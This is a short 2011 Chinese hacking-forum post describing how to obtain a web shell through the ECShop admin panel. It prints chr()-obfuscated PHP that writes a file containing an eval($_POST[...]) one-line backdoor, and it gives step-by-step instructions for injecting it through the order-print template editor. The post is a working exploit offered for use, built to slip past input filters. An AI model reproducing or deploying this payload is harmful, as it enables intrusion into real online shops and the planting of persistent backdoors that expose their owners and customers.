标题: ecshop后台获取shell最新方法，通杀最新版本&后台低权限 [打印本页]

---

作者: 匿名    时间: 2011-3-22 20:39     标题: ecshop后台获取shell最新方法，通杀最新版本&后台低权限

后台可以提交构造代码绕过过滤,成功解析生成一句话木马.

1. <?php
   
2. $filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
   
3. $filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
   
4. $a=chr(119);
   
5. $fp=@fopen($filen,$a);
   
6. $msg=@fwrite($fp,$filec);
   
7. if($msg) echo chr(79).chr(75).chr(33);
   
8. @fclose($fp);
   
9. ?>

复制代码

后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表，随意选择一个订单打印，返回OK，生成一句话成功！

---

欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)

Powered by Discuz! 7.2